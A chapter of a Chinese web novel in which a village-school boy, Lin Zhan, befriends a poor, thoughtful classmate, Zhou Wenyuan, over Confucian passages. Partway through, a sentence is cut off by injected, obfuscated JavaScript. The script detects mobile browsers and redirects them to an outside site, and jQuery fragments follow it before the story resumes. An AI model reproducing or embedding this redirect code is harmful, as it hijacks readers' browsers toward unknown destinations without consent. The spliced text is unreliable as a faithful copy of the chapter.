与李茂才那次略带火药味的“切磋”之后，乡塾里的气氛变得有些微妙。李茂才明显消停了许多，虽然仍不怎么搭理林湛，但至少不再主动挑衅。张桐、刘水生、王石头对林湛则更加亲近佩服，尤其是张桐，没事就喜欢凑过来问东问西，把林湛当成个小先生。林湛一一耐心解答，从不藏私。
然而，最让林湛感到意外并心生好感的，却是一直沉默寡言、坐在角落里的另一个同窗——周文渊。
周文渊今年八岁，比林湛大五岁，是邻村周家村人。他家境似乎比林家还要清寒，身上的粗布衣服洗得发白，补丁打得整整齐齐，却依旧难掩捉襟见肘。他总是最早到学堂，最晚离开，来了就安静地坐在自己的位置上，不是温书就是练字，几乎不与其他同窗玩耍交谈。用的笔是最便宜的秃笔，纸是正面写完写反面的旧纸，沙盘用得比谁都仔细。
起初，林湛只当他性格内向，或因家境自卑。但几次课上下来，林湛发现，这个沉默的周文渊，听得极其专注，眼神清亮，偶尔孙夫子提问，他若被点到，回答虽简洁，却往往能直指要害，偶尔还会提出一些让孙夫子都沉吟片刻的见解。只是他声音太小，说完就立刻低下头，仿佛害怕引起注意。
这日，孙夫子讲解《论语》中“君子不器”一章。夫子讲道：“君子当博学多能，不囿于一技一艺，如器皿各有所用而受限，君子则当体用兼备，通达无滞。”
其他学生似懂非懂。李茂才在下面小声嘀咕：“就是要什么都学，什么都懂呗。”张桐挠头：“那得学多少啊？”王石头干脆神游天外。
孙夫子照例问大家有何理解。无人应答。他目光扫过，落在周文渊身上：“文渊，你如何看？”
周文渊似乎吓了一跳，慢慢站起来，低着头，声音细若蚊蚋：“学生……学生以为，‘不器’非谓杂学无专，而是……而是心不受限。譬如水，盛于方则方，盛于圆则圆，然水之性，润下流通，不拘形器。君子之学，当如水之性，明理通达，随事而应，而不为特定之‘器’所固。专精一艺可为匠，通晓义理方为君子。”
这番解释，不仅理解了字面，更引申到“心性”与“变通”的层面，用“水”作比喻，形象而深刻。林湛听得心中一动，不由抬眼仔细打量这个一直没什么存在感的同窗。只见周文渊说完，耳根都红了，立刻坐下，几乎要把头埋进书里。
孙夫子眼中露出赞许：“善。文渊之解，颇得精髓。‘君子不器’，重在心灵之自由与适应之能力，非徒然驳杂。尔等可细思之。”
下课后，众人散去。林湛收拾东西时，见周文渊还在位置上，对着沙盘上自己刚才练习的一个字皱眉，似乎遇到了难题。那是个“恕”字，结构稍复杂。
林湛走过去，轻声问：“周师兄，可是这个字有什么不解？”
周文渊猛地抬头，见是林湛，似乎有些紧张，抿了抿嘴唇，才低声道：“林……林师弟。我并非不解字形，是……是思及夫子方才所言‘恕’道。‘己所不欲，勿施于人’，其理甚明。然若人所欲，恰是己所不欲，或己所欲，恰是人所不欲，又当如何‘推己及人’？譬如有人好奢靡，我素节俭，若以我之俭律他，是否非‘恕’？若以他之奢待我，我又是否甘愿？” 他声音依旧不高，但说到学问，眼神却变得专注而明亮，直直看着林湛，仿佛真的在寻求讨论。
林湛心中惊讶更甚。这问题触及了“恕”道实践中的相对性和主体差异，对于蒙童而言，思考得太深了！他想了想，没有直接回答，而是反问道：“周师兄以为呢？”
周文渊犹豫了一下，道：“我……我胡乱想的。或许，‘恕’之根本，不在强求同欲，而在‘知’与‘敬’。知人之异，敬人之选。不强加，亦不盲从。如夫子言‘和而不同’？只是……如何把握这‘不强加’与‘不盲从’的尺度，实在难矣。” 他眉头微蹙，是真的在为此困惑。
林湛笑了，他觉得这个沉默的同窗实在有趣。他指了指沙盘上的“恕”字：“周师兄你看，‘恕’字，上‘如’下‘心’。如心，就是将心比心。既然是将心比心，那就得先明白自己的心，也试着去明白别人的心，知道彼此‘不同’在哪里，为什么‘不同’。明白了，才能谈得上‘敬其异’。至于尺度……或许就像咱们走路，知道路上有坑（知异），绕着走（敬异），但大方向（比如与人为善）还是朝着前的。当然，这只是我的瞎想。” 他把相对抽象的伦理问题，又拉回到具体行为和认知层面。
周文渊眼睛一亮，喃喃重复：“知异，敬异……如心……” 他看向林湛，眼中少了些拘谨，多了几分遇到知音般的亮光。“林师弟所言，大有深意。倒是我钻牛角尖了。”
“师兄思考得深，我才受教呢。”林湛诚恳道，“以后若有什么想法，咱们可以多聊聊。一个人瞎想，容易走进死胡同。”
周文渊脸上露出一丝极
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179269|196937||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
淡、却真实的笑容，用力点了点头：“好。”
自那以后，林湛和周文渊之间便有了某种默契。他们依然不是那种勾肩搭背、嬉笑玩闹的朋友，但在学问上，却成了可以简单交流的伙伴。休息时，林湛常会主动坐到周文渊旁边，讨论刚学的章句，或者周文渊遇到疑难，也会鼓起勇气低声向林湛请教。林湛发现，周文渊对经义的理解往往直指本质，虽然因年龄和阅历所限，有时失之偏颇或过于较真，但其思考的深度和真诚，远非李茂才之流可比。
有一次，两人讨论“民可使由之，不可使知之”一句（当时普遍的一种断句和理解）。周文渊眉头紧锁，低声道：“我总觉得，若真如此，岂非将百姓视若牛羊？圣人之教，当在启民智，明人伦。或许……或许此句当另作断句？‘民可使，由之；不可使，知之。’ 百姓可以驱使时，就让他们去做；如果不行，就要教育他们，让他们明白道理。” 他提出了一种在当时堪称“离经叛道”的解读，说完自己都有些不安地看着林湛。
林湛心中震动，这不就是后世一些学者提出的另一种更具进步意义的断句和理解吗？周文渊凭自己的思考，竟隐约触及了！他压下惊讶，谨慎地说：“师兄此解，别有见地。夫子教我们多思，或许经典确有多义，不同情境，不同理解。师兄能跳出窠臼，实属难得。不过，此话在外人面前，还需斟酌。” 他既肯定了周文渊的独立思考，又提醒他注意环境。
周文渊重重点头，看着林湛的眼神充满了感激和遇到同道者的欣慰。在这个偏僻的乡塾里，他第一次感到，自己的那些“古怪”想法，并非全然荒谬，至少有人愿意听，愿意认真对待。
夕阳的余晖再次洒满孙夫子的小院。放学后，林湛和周文渊常常最后离开，一个是因为家远，一个是因为习惯多留一会儿。两人有时会并肩走一小段路，话不多，但偶尔交谈几句，都觉受益匪浅。
这一日，两人又在村口分开。周文渊走向更远的周家村，瘦小的背影在夕阳下被拉得很长。林湛站在原地看了一会儿，心中感慨。这个衣着简朴、沉默寡言的周文渊，内里却藏着一颗敏而好学、敢于深思的心。或许，未来的路上，他能成为一个难得的同道者。
晚风轻拂，带来远处田地里泥土的气息。乡塾的琅琅书声早已散去，但思想碰撞的火花，却已在某些年轻的心灵中悄悄点燃。林湛转身，朝着自家升起炊烟的方向走去，脚步轻快而踏实。